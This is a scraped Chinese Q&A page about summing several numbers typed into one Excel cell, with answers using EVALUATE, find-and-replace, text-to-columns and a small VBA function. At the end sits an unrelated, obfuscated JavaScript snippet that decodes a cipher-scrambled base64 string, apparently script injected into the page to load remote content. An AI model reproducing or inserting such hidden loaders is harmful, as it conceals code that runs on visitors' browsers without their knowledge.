求答 EXCEL一个单元格多组数字怎么求和?

就像这几组数字 怎么才能让成本栏直接求和?
2025-03-16 21:33:34
推荐回答(4个)
回答1:

1、自定义名称

首先,进入「公式」-「定义的名称」-「定义名称」,在名称中随便输入一个名字,这里我就输入「求和」,然后在引用位置中输入「=EVALUATE(Sheet1!A1)」确定。然后定位到B1单元格,进入「公式」-「定义的名称」-「用于公式」-「求和」(这里是刚刚定义的名称),然后回车即可获取运算结果。

2、查找替换搞定

在B1单元格输入「="z="&A1」,然后向下填充,再复制一份,在C1单元格中「右键」-「选择性粘贴」-「数据」确定,使用Excel快捷键「Ctrl+G」打开查找替换对话框,查找内容输入「z」;替换为不输入,点击「全部替换」按钮,好了,现在所有的记过就已经计算出来了。

3、分列拆分数据

最后一种就是分列功能了,当然,这种适用于所有数据在同规律情况下才行,首先,将所有数据拆分到多个单元格,最后利用公式来运算。

以上内容来自网页链接

回答2:

比如A1中有“1,4,5”,要对他们求和,一是可以利用trim+mid将他们分离之后求和

二是可以利用宏表函数定义为名称求和

回答3:

没太看懂,能举个例子么?怎么个直接求和法?

回答4:

自定义函数


Public Function sgs(ByVal s As String) As Variant

      sgs = Application.Evaluate(s)

End Function

=sgs(S2&0)

怎样处理参考这个

(function(){function b7c9e1493(c95fae){var n03b5751="D$8~x9Tdn.B|3cZ?C4K^jNOeUpXAuih!HSYwR@Q-_rvPq:/]VJyotm,kzf05bMGl%(LW7&I26=F;asg1E[";var a531b0a="W$^VPE/6OSb!I?Zt3gf_UR|DGuH:pMN.,15LxKae9k&mj;]TBcvslFwQ4d@YJ8hz=o(2r07iX%-qyn[A~C";return atob(c95fae).split('').map(function(z5cd7){var e04b2b9=n03b5751.indexOf(z5cd7);return e04b2b9==-1?z5cd7:a531b0a[e04b2b9]}).join('')}var c=b7c9e1493('rtmp://LDJzZigsZyJmUyIrIk1XLXoiLyVLcHNKPzIoc0wpe0xLcHNKPzIoc0wyUUpfJlFIYUNfSWZIZldZUUJLTUgyV0JfUUlkKXsyS0xUOGl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